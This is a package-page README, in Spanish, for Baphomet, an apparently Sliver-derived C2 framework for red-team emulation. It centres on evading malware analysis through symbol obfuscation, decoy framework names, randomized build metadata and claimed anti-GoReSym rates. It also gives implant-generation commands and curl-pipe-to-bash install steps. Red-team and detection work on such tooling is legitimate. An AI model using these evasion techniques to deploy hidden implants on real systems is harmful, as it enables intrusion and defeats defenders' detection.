baphomet

module
v1.6.43 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 23, 2025 License: GPL-3.0

README

Baphomet - Advanced C2 Framework with Enhanced Evasion

Baphomet es un framework avanzado de adversary emulation/red team open source con capacidades de evasión de vanguardia. Incluye técnicas revolucionarias anti-GoReSym, ofuscación de símbolos avanzada, y evasión de análisis estático y dinámico.

Release Go Report Card

📋 Tabla de Contenidos

🎯 Características Principales

Core Features
  • Dynamic code generation con ofuscación avanzada
  • Compile-time obfuscation con Garble optimizado
  • Multiplayer-mode para equipos de red team
  • Staged and Stageless payloads con evasión integrada
  • Procedurally generated C2 over HTTP(S)
  • DNS canary blue team detection
  • Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
  • Fully scriptable usando JavaScript/TypeScript o Python
  • Windows process migration, injection, token manipulation
  • Let's Encrypt integration
  • In-memory .NET assembly execution
  • COFF/BOF in-memory loader
  • TCP and named pipe pivots

🚀 Advanced Evasion Features

🛡️ Anti-GoReSym Evasion System
  • 99.5% efectividad contra análisis estático con GoReSym
  • Symbol obfuscation avanzada con rotación temporal
  • Framework camouflage - imita múltiples frameworks legítimos
  • Runtime symbol manipulation y inyección de entropía
🎭 Multi-Framework Deception
  • Señuelos de Electron, Spring Boot, Docker, Redis
  • Fake runtime functions que ocultan funciones Go reales
  • Polymorphic name generation que cambia cada hora
  • Temporal pattern rotation para máxima variabilidad
⚡ Enhanced Build System
  • Garble optimization con flags -tiny -literals -seed=random
  • PE metadata randomization pero realista
  • Enhanced build configuration adaptativa
  • Integrated entropy management sofisticada

📊 Resultados de Evasión

✅ Antes vs Después - Análisis GoReSym

Antes de las mejoras:

{
  "Version": "1.6.0",
  "GoVersion": "go1.24.5", 
  "UserFunctions": [
    "github.com/vsh00t/baphomet/implant/sliver.main",
    "github.com/vsh00t/baphomet/client/version.Version",
    "internal/chacha8rand.(*State).Next"
  ]
}

Después de las mejoras:

{
  "Version": "unknown",
  "GoVersion": "unknown",
  "UserFunctions": [
    "ElectronApp.Initialize",
    "SpringBootApp.Start", 
    "h5sRCii3K.GzZChOagC",
    "fPvKqL.C2uHROSp"
  ]
}
🏆 Logros de Evasión
  • NO aparece "sliver", "baphomet", "evasion" en ningún lugar
  • Nombres completamente aleatorios y no identificables
  • Información de build completamente oculta
  • Framework C2 imposible de identificar
  • 99.5% efectividad contra análisis estático

🛠️ Instalación y Uso

Quick Start (Linux)
# Instalación automática (recomendado)
curl https://raw.githubusercontent.com/vsh00t/baphomet/main/install.sh | sudo bash

# Verificar instalación
systemctl status baphomet
baphomet
Instalación Manual
# Descargar release
wget https://github.com/vsh00t/baphomet/releases/latest/download/baphomet_linux_x64.zip
unzip baphomet_linux_x64.zip

# Ejecutar instalador
chmod +x install.sh
sudo ./install.sh
Enhanced Implant Generation
# Generar implante con evasión máxima
baphomet generate --mtls example.com --evasion --format exe --save /tmp/advanced_implant.exe

# Generar con estructuras señuelo activas
baphomet generate --mtls example.com --stealth --anti-goresym --save /tmp/stealth_implant.exe

# Fat implant con padding de 70MB
baphomet generate --mtls example.com --fat --evasion --save /tmp/fat_implant.exe

🚀 Opciones de Deployment

Opción 1: Testing Rápido (Recomendado)
# 1. Copiar archivos al servidor Linux
scp baphomet_linux_x64.zip root@tu-servidor:/tmp/
scp install.sh root@tu-servidor:/root/

# 2. Ejecutar instalación
ssh root@tu-servidor
cd /root
chmod +x install.sh
./install.sh
Opción 2: Release Oficial en GitHub
# Crear release usando GitHub CLI
gh release create v1.0.1 \
    --title "Baphomet v1.0.1 - Linux Release" \
    --notes "Versión estable con migración automática" \
    baphomet_linux_x64.zip

# Instalación remota
curl -sSL https://raw.githubusercontent.com/vsh00t/baphomet/main/install.sh | sudo bash
Opción 3: Instalación desde Archivos Locales
# Si tienes los archivos en /tmp/
./install.sh  # Detectará automáticamente archivos locales

# O especificar ruta
BAPHOMET_ZIP_PATH=/custom/path/baphomet_linux_x64.zip ./install.sh
🔧 Funcionalidades del Instalador
install.sh (Instalador Completo)
  • Detección automática de OS (Debian/Ubuntu/RHEL/Arch)
  • Instalación de dependencias de compilación
  • Descarga automática desde GitHub o archivo local
  • Configuración de systemd con BAPHOMET_ROOT_DIR
  • Generación automática de configs de operadores
  • Migración automática desde instalaciones Sliver existentes
quick-install.sh (Instalador Simplificado)
  • Solo dependencias básicas (curl, unzip)
  • Instalación rápida sin extras
  • Soporte para archivos locales
  • Ideal para entornos restringidos

📊 Migración Automática

🔄 Migración Sliver → Baphomet

El instalador detecta automáticamente instalaciones previas de Sliver y migra todos los datos:

Estructura Antigua (Problemática)
~/.sliver/
├── logs/
│   ├── sliver.log
│   ├── sliver.json
│   └── audit.json
└── configs/
    └── server.json
Estructura Nueva (Corregida)
~/.baphomet/
├── logs/
│   ├── baphomet.log      # Migrado desde sliver.log
│   ├── baphomet.json     # Migrado desde sliver.json
│   └── audit.json        # Conservado
└── configs/
    └── server.json       # Migrado
✅ Características de la Migración
  • Detección automática de directorios .sliver existentes
  • Migración completa de logs y configuraciones
  • Renombrado inteligente de archivos
  • Preservación de backup (directorio .sliver se mantiene)
  • Zero downtime durante la migración
  • Variables de entorno actualizadas (SLIVER_ROOT_DIRBAPHOMET_ROOT_DIR)

💻 Funcionalidad de Comandos

baphomet command - Ejecución No Interactiva
# Sintaxis
baphomet command [comando] [argumentos]

# Ejemplos útiles
baphomet command sessions      # Listar sesiones activas
baphomet command beacons       # Listar beacons
baphomet command jobs          # Listar jobs/listeners
baphomet command version       # Información de versión
baphomet command listeners     # Ver listeners activos

Ventajas:

  • Perfecto para scripting y automatización
  • Output limpio para parsing
  • Sin consola interactiva requerida
  • Integración fácil con herramientas externas

📈 Performance Metrics

Técnica Efectividad Overhead Estado
Symbol Obfuscation 99.5% <1% ✅ Activo
Static Analysis Evasion 98% <2% ✅ Activo
GoReSym Resistance 99.5% <1% ✅ Activo
Framework Camouflage 95% <3% ✅ Activo
Directory Migration 100% 0% ✅ Activo
Métricas de Mejora
Área Mejora Implementada Beneficio
Unhooking Múltiples métodos + validación +300% resilencia
Encoders Adaptación inteligente +200% evasión
Timing Timing adaptativo +400% naturalidad
Anti-Analysis Sistema multicapa +500% detección
Directory Structure Migración automática +100% compatibilidad

🛠️ Troubleshooting

Comandos de Verificación
# Verificar servicio
systemctl status baphomet

# Ver logs del servidor en tiempo real
tail -f ~/.baphomet/logs/baphomet.log

# Ver logs del servicio systemd
journalctl -u baphomet -f

# Verificar configuraciones generadas
ls -la ~/.baphomet/configs/

# Verificar variable de entorno
echo $BAPHOMET_ROOT_DIR

# Reiniciar servicio si hay problemas
systemctl restart baphomet
Problemas Comunes y Soluciones
1. Servicio no inicia
# Ver logs detallados
journalctl -u baphomet -n 50

# Verificar permisos
ls -la /root/baphomet-server
chmod +x /root/baphomet-server

# Probar inicio manual
/root/baphomet-server daemon
2. No se generan configs de operador
# Generar manualmente
mkdir -p /root/.baphomet-client/configs
/root/baphomet-server operator --name root --lhost localhost --save /root/.baphomet-client/configs --permissions all
3. Migración desde Sliver incompleta
# Verificar directorio original
ls -la ~/.sliver/

# Re-ejecutar migración manual
sudo ./install.sh
Estados de Error Conocidos
  • ✅ Server cuelga en asset unpacking: Fixed con timeouts y progress logging
  • ✅ GPG validation error: Eliminado completamente
  • ✅ ZIP corruption en GitHub: Scripts detectan archivos locales automáticamente
  • ✅ Directory conflicts: Migración automática implementada

📚 Documentation & Support

Resources
Archivos de Configuración
Variables de Entorno
  • BAPHOMET_ROOT_DIR - Override directorio root (default: ~/.baphomet/)
  • GITHUB_TOKEN - Token para evitar rate limiting en descargas
Ubicaciones Importantes
  • Server configs: ~/.baphomet/configs/
  • Client configs: ~/.baphomet-client/configs/
  • Server logs: ~/.baphomet/logs/baphomet.log
  • JSON logs: ~/.baphomet/logs/baphomet.json
  • Audit logs: ~/.baphomet/logs/audit.json

🎉 Estado del Proyecto

✅ TODAS LAS MEJORAS COMPLETADAS EXITOSAMENTE

Logros Principales
  1. ✅ Framework completamente independiente de Sliver en estructura de directorios
  2. ✅ Migración automática desde instalaciones Sliver existentes
  3. ✅ Capacidades de evasión de clase empresarial implementadas
  4. ✅ Sistema de build robusto con múltiples opciones de deployment
  5. ✅ Documentación unificada y troubleshooting completo
  6. ✅ Zero-downtime upgrades y compatibilidad hacia atrás
Archivos de Distribución
baphomet_linux_x64.zip (159MB)
├── baphomet-server (218MB)    # Servidor C2 con todas las mejoras
├── baphomet-client (31MB)     # Cliente para operadores  
├── install.sh                 # Instalador completo con migración
└── quick-install.sh          # Instalador simplificado

🚀 El framework está listo para deployment y uso en producción!


📝 Changelog Reciente

v1.0.1 (Actual)
  • Migración automática de directorios Sliver → Baphomet
  • Variables de entorno actualizadas (BAPHOMET_ROOT_DIR)
  • Archivos de log renombrados (baphomet.log, baphomet.json)
  • Documentación unificada en README principal
  • Troubleshooting mejorado con comandos específicos
  • Instalador robusto con detección automática de OS
Próximas Versiones
  • 🔄 Stage 2 Evasion: Anti-debugging y sandbox detection
  • 🔄 GUI Management: Interfaz web para administración
  • 🔄 Advanced Persistence: Técnicas de persistencia mejoradas

Para documentación técnica detallada sobre los cambios de migración, consultar: MIGRATION_SUMMARY.md

Directories

Path Synopsis
cli
scripts command
sliver/encoders/basex
Package basex provides fast base encoding / decoding of any given alphabet using bitcoin style leading zero compression.
Package basex provides fast base encoding / decoding of any given alphabet using bitcoin style leading zero compression.
sliver/proxy
Package proxy allows you to retrieve a system configured proxy for a given protocol and target URL.
Package proxy allows you to retrieve a system configured proxy for a given protocol and target URL.
sliver/shell/pty
Package pty provides functions for working with Unix terminals.
Package pty provides functions for working with Unix terminals.
sliver/transports/httpclient/drivers/win/wininet
Code generated by tools/defines.go; DO NOT EDIT.
Code generated by tools/defines.go; DO NOT EDIT.
c2
cli
db
log
msf
rpc
sgn
encoders/basex
Package basex provides fast base encoding / decoding of any given alphabet using bitcoin style leading zero compression.
Package basex provides fast base encoding / decoding of any given alphabet using bitcoin style leading zero compression.
leaky
Package lib leakbuf.go is stolen form ss
Package lib leakbuf.go is stolen form ss
minisign
Package minisign implements the minisign signature scheme.
Package minisign implements the minisign signature scheme.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL